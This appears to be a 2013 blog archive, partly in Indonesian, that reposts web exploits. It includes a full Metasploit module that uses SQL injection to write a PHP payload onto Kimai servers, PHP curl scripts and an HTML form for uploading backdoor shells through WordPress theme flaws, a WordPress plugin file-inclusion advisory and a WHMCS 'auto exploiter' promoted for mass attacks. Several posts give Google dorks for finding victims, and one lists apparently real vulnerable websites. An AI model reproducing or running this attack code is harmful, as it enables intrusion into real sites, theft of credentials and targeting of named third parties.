Thursday, 28 November 2013

Kimai 0.9.2 db_restore.php SQL Injection Vulnerability

##
# This module requires Metasploit: http//metasploit.com/download
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Kimai v0.9.2 'db_restore.php' SQL Injection",
      'Description'    => %q{
          This module exploits a SQL injection vulnerability in Kimai version
        0.9.2.x. The 'db_restore.php' file allows unauthenticated users to
        execute arbitrary SQL queries. This module writes a PHP payload to
        disk if the following conditions are met: The PHP configuration must
        have 'display_errors' enabled, Kimai must be configured to use a
        MySQL database running on localhost; and the MySQL user must have
        write permission to the Kimai 'temporary' directory.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'drone (@dronesec)', # Discovery and PoC
          'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
        ],
      'References'     =>
        [
          ['EDB'       => '25606'],
          ['OSVDB'     => '93547'],
        ],
      'Payload'        =>
        {
          'Space'      => 8000, # HTTP POST
          'DisableNops'=> true,
          'BadChars'   => "\x00\x0a\x0d\x27"
        },
      'Arch'           => ARCH_PHP,
      'Platform'       => 'php',
      'Targets'        =>
        [
          # Tested on Kimai versions 0.9.2.beta, 0.9.2.1294.beta, 0.9.2.1306-3
          [ 'Kimai version 0.9.2.x (PHP Payload)', { 'auto' => true } ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'May 21 2013',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('TARGETURI',  [true,  'The base path to Kimai', '/kimai/']),
          OptString.new('FALLBACK_TARGET_PATH', [false, 'The path to the web server document root directory', '/var/www/']),
          OptString.new('FALLBACK_TABLE_PREFIX', [false, 'The MySQL table name prefix string for Kimai tables', 'kimai_'])
        ], self.class)
  end

  #
  # Checks if target is Kimai version 0.9.2.x
  #
  def check
    print_status("#{peer} - Checking version...")
    res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, "index.php") })
    if not res
      print_error("#{peer} - Request timed out")
      return Exploit::CheckCode::Unknown
    elsif res.body =~ /Kimai/ and res.body =~ /(0\.9\.[\d\.]+)<\/strong>/
      version = "#{$1}"
      print_good("#{peer} - Found version: #{version}")
      if version >= "0.9.2" and version <= "0.9.2.1306"
        return Exploit::CheckCode::Detected
      else
        return Exploit::CheckCode::Safe
      end
    end
    Exploit::CheckCode::Unknown
  end

  def exploit

    # Get file system path
    print_status("#{peer} - Retrieving file system path...")
    res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, 'includes/vars.php') })
    if not res
      fail_with(Failure::Unknown, "#{peer} - Request timed out")
    elsif res.body =~ /Undefined variable: .+ in (.+)includes\/vars\.php on line \d+/
      path = "#{$1}"
      print_good("#{peer} - Found file system path: #{path}")
    else
      path = normalize_uri(datastore['FALLBACK_TARGET_PATH'], target_uri.path)
      print_warning("#{peer} - Could not retrieve file system path. Assuming '#{path}'")
    end

    # Get MySQL table name prefix from temporary/logfile.txt
    print_status("#{peer} - Retrieving MySQL table name prefix...")
    res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, 'temporary', 'logfile.txt') })
    if not res
      fail_with(Failure::Unknown, "#{peer} - Request timed out")
    elsif prefixes = res.body.scan(/CREATE TABLE `(.+)usr`/)
      table_prefix = "#{prefixes.flatten.last}"
      print_good("#{peer} - Found table name prefix: #{table_prefix}")
    else
      table_prefix = normalize_uri(datastore['FALLBACK_TABLE_PREFIX'], target_uri.path)
      print_warning("#{peer} - Could not retrieve MySQL table name prefix. Assuming '#{table_prefix}'")
    end

    # Create a backup ID
    print_status("#{peer} - Creating a backup to get a valid backup ID...")
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'db_restore.php'),
      'vars_post' => {
        'submit'  => 'create backup'
      }
    })
    if not res
      fail_with(Failure::Unknown, "#{peer} - Request timed out")
    elsif backup_ids = res.body.scan(/name="dates\[\]" value="(\d+)">/)
      id = "#{backup_ids.flatten.last}"
      print_good("#{peer} - Found backup ID: #{id}")
    else
      fail_with(Failure::Unknown, "#{peer} - Could not retrieve backup ID")
    end

    # Write PHP payload to disk using MySQL injection 'into outfile'
    fname = "#{rand_text_alphanumeric(rand(10)+10)}.php"
    sqli  = "#{id}_#{table_prefix}var UNION SELECT '<?php #{payload.encoded} ?>' INTO OUTFILE '#{path}/temporary/#{fname}';-- "
    print_status("#{peer} - Writing payload (#{payload.encoded.length} bytes) to '#{path}/temporary/#{fname}'...")
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'db_restore.php'),
      'vars_post' => Hash[{
        'submit'  => 'recover',
        'dates[]' => sqli
      }.to_a.shuffle]
    })
    if not res
      fail_with(Failure::Unknown, "#{peer} - Request timed out")
    elsif res.code == 200
      print_good("#{peer} - Payload sent successfully")
      register_files_for_cleanup(fname)
    else
      print_error("#{peer} - Sending payload failed. Received HTTP code: #{res.code}")
    end

    # Remove the backup
    print_status("#{peer} - Removing the backup...")
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'db_restore.php'),
      'vars_post' => Hash[{
        'submit'  => 'delete',
        'dates[]' => "#{id}"
      }.to_a.shuffle]
    })
    if not res
      print_warning("#{peer} - Request timed out")
    elsif res.code == 302 and res.body !~ /#{id}/
      vprint_good("#{peer} - Deleted backup with ID '#{id}'")
    else
      print_warning("#{peer} - Could not remove backup with ID '#{id}'")
    end

    # Execute payload
    print_status("#{peer} - Retrieving file '#{fname}'...")
    res = send_request_raw({
      'uri' => normalize_uri(target_uri.path, 'temporary', "#{fname}")
    }, 5)
  end
end

# 6E323FA65786C91A   1337day.com [2013-11-28]   2A49EC6D4B9669E0 #


Labels:

Tuesday, 26 November 2013

Wordpress Plugin WPE Indoshipping Remote File Inclusion

```========================================================
[+] Title : Wordpress Plugin WPE Indoshipping Remote File Inclusion
[+] Author : Altiiever
[+] Version : 2.5.0
[+] Download : http://downloads.wordpress.org/plugin/wpe-indoshipping.2.5.0.zip
[+] Vulnerability : RFI
```========================================================

|
| [ Vulnerable ]
|
| http://localhost/wordpress/wp-content/plugins/wpe-indoshipping/wpe_indoshipping.php?app_base_path= [cukZ]
| http://localhost/wordpress/wp-content/plugins/wpe-indoshipping/admin/admin-functions.php?app_base_path= [cukZ]
| http://localhost/wordpress/wp-content/plugins/wpe-indoshipping/admin/admin.php?app_base_path= [cukZ]
|
| [ Bug ]
|
| [!] wpe_indoshipping.php
| -include $app_base_path.'admin/admin.php';
| [!] admin-functions.php
| -include_once $app_base_path.'upload/'.$dbfile;
| [!] admin.php
| -include $app_base_path.'admin/admin-functions.php';
| -include $app_base_path.'admin/shipping-manager.php';
| -include $app_base_path.'admin/form-builder.php';
| -include $app_base_path.'admin/tools.php';
| -include $app_base_path.'assets/readme.html';
|

# F7370C7E850A2BBF 1337day.com [2013-11-27] 1098BDC6E5875201 #

Labels:

Saturday, 16 November 2013

WHMCS 0Day Auto Exploiter PHP Code 5.2.8


Hari ini saya hadir Anda senjata paling mematikan untuk massa penghancuran. Alat ini menargetkan WHMCS melalui kerentanan SQL injection yang disebabkan karena Daftar global yang digunakan oleh programmer bodoh mereka.

Seperti biasa, Anda hanya perlu memberikan Dorks, ambil jagung pop, duduk dan menonton diri pwning shi besar! T.T Ribuan perusahaan web hosting rentan terhadap eksploitasi ini. Dengan 10 Dorks, saya bisa mengumpulkan login WHMCS . Itu berarti ribuan akar kerentanan.Langsung saja kalian simak baik-baik:

Dork :
inurl:submitticket.php site:.com or inurl:submitticket.php site:.net
inurl:submitticket.php site:.us
inurl:submitticket.php site:.eu
inurl:submitticket.php site:.org
inurl:submitticket.php site:.uk
intext:"Powered by WHMCompleteSolution"
intext:"Powered by WHMCompleteSolution" inurl:clientarea.php
inurl:announcements.php intext:"WHMCompleteSolution"
intext:"Powered by WHMCS"
Kreasikan dork menurut kreatifitas kalian *

Source Code :
http://pastebin.com/Dfce5W5v


  • Hanya men-copy pastekan kenotepad dan menamainya dengan ex.(PHP)
  • Upload Exploit tersebut kedalam hosting atau bisa di akses melalui WAMPP atau XAMPP .
Screanshot :

Semoga bermanfaat ! Salam ...


Labels: , ,

Saturday, 9 November 2013

WordPress themekernel-theme Themes Remote File

# Exploit Title: WordPress themekernel-theme Themes Remote File Upload Vulnerability
# Author: iskorpitx
# Date: 6/11/2013
# Vendor Homepage: http://www.wikmag.com/
# Themes Link: http://themeforest.net/item/kernel-premium-wordpress-blog-magazine-theme-/857077
# Infected File: upload-handler.php
# Category: webapps
# Google dork: inurl:/wp-content/themes/kernel-theme/
# Tested on : Windows/Linux
###################################################################################################

# Exploit
# You must ready XAMPP Application to save Exploit under PHP extention . uploa#d.php file is your name shell (save on one directory exploit)


<?php
$uploadfile="upload.php";
$ch = curl_init("http://target/wp-content/themes/kernel-theme/functions/upload-handler.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('orange_themes'=>"@$uploadfile")); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch); print "$postResult";
?>

Your File Uploaded access:
http://target/wordpress/wp-content/uploads/2013/11/upload.php

Labels:

Friday, 8 November 2013

Website Iran Exploit Database


Mungkin kalian tidak tahu ternyata iran juga mempunyai sebuah situs pendukung untuk menyimpan segala syntax alur dan di simpan ke dalam database mereka .Dan situs tersebut beralamatkan di http://iedb.ir/

Sementara itu mereka juga menyisipkan forum dan peralatan berupa tool PhP yang tentunya untuk perlengkapan mereka .

Screanshot :

Selamat ber-exploit ..

Labels:

Thursday, 7 November 2013

WordPress Curvo Themes CSRF File Upload Vulnerability

# Exploit Title: WordPress Curvo Themes CSRF File Upload Vulnerability
# Author: Byakuya
# Date: 10/26/2013
# Vendor Homepage: http://themeforest.net/
# Themes Link: http://www.wphub.com/themes/curvo-by-themeforest/
# Price: $35
# Affected Version: Unknown
# Infected File: upload_handler.php
# Category: webapps/php
# Google dork: inurl:/wp-content/themes/curvo/
###################################################################################################

# Exploit & POC : ( Save in XAMPP doc. ex.php and Run It ) After that upload your shell with tamper data .!
Attention !

<form enctype="multipart/form-data"
action="http://target/wordpress/wp-content/themes/curvo/functions/upload-handler.php" method="post">
<input type="jpg" name="url" value="./" /><br />
Please choose a file: <input name="uploadfile" type="file" /><br />
<input type="submit" value="upload" />
</form>

#File access path:
http://target/wordpress/wp-content/uploads/[FILE]
or
http://target/wordpress/wp-content/uploads/[year]/[month]/[FILE] <-- your file uploaded

Labels:

WordPress themekernel-theme Themes Remote File Upload Vulnerability

###################################################################################################
# Exploit Title: WordPress themekernel-theme Themes Remote File Upload Vulnerability
# Author: iskorpitx
# Date: 6/11/2013
# Vendor Homepage: http://www.wikmag.com/
# Themes Link: http://www.wikmag.com/kernel-premium-magazine-theme-by-themeforest-orange-themes.html
# Infected File: upload-handler.php
# Category: webapps
# Google dork: inurl:/wp-content/themes/kernel-theme/
# Tested on : Windows/Linux
###################################################################################################

# Exploit
(Save under XAMPP or WAMPP on one directories) and access it from localhost

<?php
$uploadfile="upload.php";
$ch = curl_init("http://[targetsitus]/wp-content/themes/kernel-theme/functions/upload-handler.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('orange_themes'=>"@$uploadfile")); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch); print "$postResult";
?>

Shell Backdoor aksesnya ada berada di tempat ini :
http://[targetsitus]/[path]/wp-content/uploads/[year]/[month]/upload.php <-- backdoor name

Labels: ,

Ocreative Design Studio SQL Injection Vulnerabilites



: # Exploit Title : Ocreative Design Studio SQL Injection
Vulnerabilities
: # Date : 06 November 2013
: # Author : r1q
: # CMS Developer : http://www.ocreativedesign.com/
: # Version : ALL
: # Category : Web Applications
: # Vulnerability : SQL Injection
: # Tested On : Google Chrome Version 26.0.1410.64 m (Windows XP SP 3 32-Bit English)
: # Greetz to : X-Cisadane, X-Code, Borneo Crew, Depok Cyber, Explore Crew, CodeNesia, Bogor-H, Jakarta Anonymous Club,


DORKS (Cara mencari situs targetnya) :
================================
intext:Web Design & Hosting by Ocreative Design Studio inurl:/?ID=

Atau kreasikan sendiri Google Dork sesuai kehendak kalian :)

Penjelasan
================

SQL Injection :
POC : http://[Site]/[Path]/?ID=[SQLi]
Contoh situs yang bercelah :
http://www.downtownhartland.com/event-de...hp?ID=499'
http://www.terrastaffing.com/contact-us/...ons/?ID=6'
http://www.wcfls.org/news.php?ID=177'
http://www.citypubnationwide.com/south-f...p?ID=7797'

Labels: ,